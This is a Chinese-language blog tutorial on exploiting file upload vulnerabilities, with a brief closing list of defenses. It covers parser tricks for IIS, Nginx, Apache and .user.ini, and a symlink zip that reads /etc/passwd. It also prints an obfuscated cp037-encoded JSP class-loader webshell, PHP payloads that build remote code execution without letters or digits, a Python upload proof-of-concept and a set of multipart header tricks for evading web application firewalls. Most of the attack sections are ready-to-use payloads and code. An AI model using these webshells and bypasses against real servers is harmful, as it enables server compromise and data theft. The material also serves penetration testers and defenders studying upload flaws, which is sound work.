文件上传漏洞

前言

任意文件上传漏洞应该避免,攻击者可以上传任意数量、任意大小的文件至服务器,导致服务器磁盘不足,无法正常运行,造成拒绝服务攻击。甚至可以造成远程命令执行。

绕过

服务端有时候会对用户上传的文件进行校验。我们可以有这些思路进行绕过。

文件头

https://en.wikipedia.org/wiki/List_of_file_signatures

如果服务端对文件头进行校验的话,我们可以在 WebShell 头部添加这些文件头

WindowsTerminal_z2xoq0wtcl

拓展名

有一些特殊的拓展名可能也会被服务器解析。例如:

  • asp:asa、cer、cdx、aspx、ashx
  • php:php3、php4、phtml…
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Perl: .pl, .cgi
  • 文件名后加 /
  • boundary等号前后空格绕过,如
Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3
  • ::$DATA: (Only Windows)Windows 会将 ::$DATA 后的数据当作文件流处理,将保持 ::$DATA 之前的文件名

如果服务器是对黑名单进行检验的话,我们可以尝试这些内容进行绕过。

解析漏洞

IIS

分号截断

在 IIS 6.0 下 1.asp;.jpg 会被当作 asp 进行解析,分号后面的不被解析。

目录解析

把 .asp,.asa 目录下的文件都解析成 asp 文件。例如:a.asp/a.jpg 它将当做 asp 进行解析

Nginx

文件类型解析错误

当目标是 php-fpm ,在一些错误的配置下 nginx 可能会将 /exp.jpg/.php 当作 php 代码进行解析。因为 phpinfo 中的 fix_pathinfo 默认设置,会将后面不存在路径的 PATH_INFO 进行删除,直到遇到存在的资源便会交给 fpm 进行解析。

我们可以通过以下步骤进行探测是否存在这个解析错误:

当访问 /robots.txt 的时候响应的是 Content-Type: text/plain

当访问 /robots.txt/.php 会恢复 Content-Type: text/html 并且还会增加 X-Powered-By: php 的指纹。

为了避免这个问题,我们可以在 php-fpm 的配置文件中增加 security.limit_extensions 的值,使其只解析特定的后缀。当然这个值也已经默认为 .php。此外还可以在 nginx.conf 添加 fastcgi_split_path_info ^(.+\.php)(.*)$ 对 PATH 进行分割.

空字节解析漏洞

受 CVE-2013-4547 影响的 nginx 版本号为 0.8.41~1.4.3/1.5.0~1.5.7。

正常情况下只有 php 的拓展名才会被发送到 FastCGI 解析。但该漏洞 .jpg%00.php 也会被解析。

Apache 解析漏洞

.htaccess

.htaccess 作用于当前目录及其所在子目录。如果我们可以上传 .htaccess 我们可以构造该文件,上传上去解析任意的文件。例如:

  • sethandler
# 将test.gif 当做 PHP 执行
<FilesMatch  "test.gif">
SetHandler  application/x-httpd-php
</FilesMatch>
  • addtype
# 将 .png 当做 PHP 文件解析
AddType application/x-httpd-php .png

https://github.com/wireghoul/htshells

换行

如果服务端匹配时用黑名单的方式,那么我们可以用 .php\n 尝试绕过。而且当 apache 版本号小于 2.4.30 还会被解析。

fastcgi

.user.ini

.user.ini 可以设置 phpinfo 的属性,并且是动态生效的。

不管是 nginx/apache/IIS,只要是以 fastcgi 运行的 php 都可以用这个方法,本质是设置文件包含属性。保证上传的文件名字不会被修改,并且上传目录中需要存在一个 php 文件,并且可以给我们访问到

在这里我们将用到 auto_append_fileauto_prepend_file

auto_append_filephp 文件最后用 require 包含进指定文件,auto_prepend_file 则是在 php 文件代码执行前用 require 包含进指定的文件。

chrome_XsjOe2PS8s

例如 .user.ini 的文件内容为:

auto_prepend_file=01.gif

此时我们上传了 .user.ini 后需要再上传一个 01.gif 内容为 php 文件代码。访问该目录存在的一个 php 文件,即可先包含 01.gif 的内容。

条件竞争

如果一个网站允许任意文件上传,但是上传以后再对文件进行检测,不符合白名单的文件被删除,那么我们可以使用条件竞争的方式,在 webShell 还没有被删除的情况下就利用。

解压

Symlink

如果我们可以上传压缩包文件并将可以服务端对压缩包进行解压出来的文件我们可以访问到,那么我们还可以使用上传软链接的方式获得服务器上的敏感文件信息。

ln -s ../../../../../../etc/passwd a.pdf
zip --symlinks test.zip a.pdf
tar -cvf test.tar a.pdf

此时将 a.pdf 下载下来,就是服务器上的 /etc/passwd 内容

目录穿越

我们可以构造压缩包的文件名,使其解压到别的目录完成绕过。https://github.com/ptoomey3/evilarc

提前解压

可以修改压缩包二进制字节,让压缩包解压过程中出错。但是出错提前解压出了 WebShell

内容绕过

unicode 编码

在 Java 中可以使用 unicode 仍然会被当做正确的代码进行执行

#python2
data = '''<?xml version="1.0" encoding="cp037"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
  <jsp:declaration>
    class PERFORM extends ClassLoader {
      PERFORM(ClassLoader c) { super(c);}
      public Class bookkeeping(byte[] b) {
        return super.defineClass(b, 0, b.length);
      }
    }
    public byte[] branch(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
  </jsp:declaration>
  <jsp:scriptlet>
    String cls = request.getParameter("xxoo");
    if (cls != null) {
      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
    }
  </jsp:scriptlet>
</jsp:root>'''
fcp037 = open('cp037.jsp','wb')
fcp037.write(data.encode('cp037'))

PHP

更多 trick 可以参考 https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp

PHP 变量函数

如果变量名后面加了圆括号,PHP 将寻找与变量求值结果相同的函数名并尝试执行,

那么也就是说 system("ls");"system"("ls");"\x73\x79\x73\x74\x65\x6d"("ls"); 是相同效果

text = "system"
formatted_text = ''.join([f'\\x{ord(c):02x}' for c in text])
print(formatted_text)
# \x73\x79\x73\x74\x65\x6d

但是这种技巧并不适用与所有的 PHP 函数,包括

echo print unset isset empty include require

php 也不一定需要我们用引号来声明字符串,我们可以自己声明

echo (string)hello;# hello
echo (world);# world

如果代码是这样

<?php
eval($_GET["code"]);

我们可以这样

?a=system&b=ls&code=$_GET['a']($_GET['b']);
?1=system&2=ls&code=$_GET[1]($_GET[2]);

get_defined_functions

这个函数会返回 PHP 的一个多维数组,其中包括所有已经定义函数的列表。内部函数可以通过 $arr["internal"] 访问。用户定义可以通过 $arr["user"] 访问

WindowsTerminal_WFHOT2D2eK

可以发现我这个环境下 system 函数是在 680。我们可以这样绕过关键字system

<?php
get_defined_functions()["internal"][680]("whoami");

无数字或字母 RCE

无字母 RCE 方法可以考虑:

  • 取反
  • 按位异或
  • 自增
  • POC 上传文件
取反

php 5 无法复现,但是 php 7 可以。原因是PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持

如果目标存在

<?php
@eval($_REQUEST[1]);
?>

我们可以 payload:

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

生成

(~%8C%86%8C%8B%9A%92)(~%93%8C);

传入

?1=(~%8F%97%8F%96%91%99%90)();

即可完成 rce

异或

这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或

payload: 支持 php5、php7

需要目标存在

<?php
@eval($_REQUEST[1]);
?>

payload

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

此时只需 GET 传入

?1=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

POST 传入

1=phpinfo();
自增

支持 php5,部分 php7 早期版本。由于构造出的是 assert ,再往后的 php 版本中设置了 zend.assertions 来限制 assert,默认值改为了 -1,表示不执行其中的代码。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

如果是追求无字母而不是无数字+字母可以用

<?php
    $_=([]._){0}; //A
$_++;
$_1=++$_;  //$_1=C
$_++;
$_++;
$_++;
$_++;
$_1.=++$_.([]._){1}; //$_1=CHr
$_=_.$_1(71).$_1(69).$_1(84); //$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
//缩短为一行
$_=([]._){0};$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_1.=++$_.([]._){1};$_=_.$_1(71).$_1(69).$_1(84);$$_[1]($$_[2]);
构造 POC

需要环境为 php5

参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#glob

需要目标环境中存在

<?php
@eval($_REQUEST[1]);
?>

传入

?1=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3b?>

然后 POST 请求上传文件,文件内容为

#!/bin/sh

id

PHP 短后门

如果 php 后门是这样

<?=`. /t*/*`;

或者是

<?=`. /*p/*`;

基本上都是通过上传临时文件到 tmp 目录下进行利用,利用漏洞如下

shell.txt

#!/bin/sh


ls -al /

poc.py

import requests
url = 'http://url/shell.php'
files = {'file': ('filename.txt', open('./shell.txt', 'rb'))}

response = requests.post(url, files=files)

print(response.text)

WindowsTerminal_PrdbY5RFBi

这是 p 牛知识星球上分享的东西,镜像是 php:7.4-apache

version: '3'
services:
  web:
    image: php:7.4-apache
    ports:
      - "8081:80"
    volumes:
      - ./src:/var/www/html
    restart: always

Waf

  • 换行
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Disposition: form-data; name="file"; file
name="1.php"
Content-Disposition: form-data; name="file"; filename=
"1.php"
  • 多个等号绕过检测,例如
Content-Disposition: form-data; name="file"; filename==="a.php"
  • 去掉或替换引号绕过 waf:
Content-Disposition: form-data; name=file1; filename=a.php
Content-Disposition: form-data; name='file1'; filename="a.php"
  • 增加 filename 干扰拦截,例如:
Content-Disposition: form-data; name="file"; filename= ;  filename="a.php"
  • 混淆 waf 匹配字段,例如:

混淆 form-data

Content-Disposition: name="file"; filename="a.php"
去除form-data

Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file";  filename="a.php"
替换form-data为垃圾值

Content-Disposition: form-data   ; name="file"; filename="a.php"
form-data后加空格

Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+

混淆 ConTent-Disposition

COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆

Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
调换Content-Type和ConTent-Disposition的顺序

Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头

AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头

Content-Length: 666
Content-Disposition: form-data; name="file";  filename="a.php"
Content-Type: image/gif
增加额外的头
  • 请求混淆,例如将 POST 请求改为 GET 请求。
  • 分块传输

其它思路

  • 找到能够更改文件名的功能。
  • 文件包含。
  • 上传非法文件名。例如 .|<>*?
  • 上传可执行文件。

防御

  • 白名单拓展名检测
  • 修改文件名和后缀
  • 上传目录不解析
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇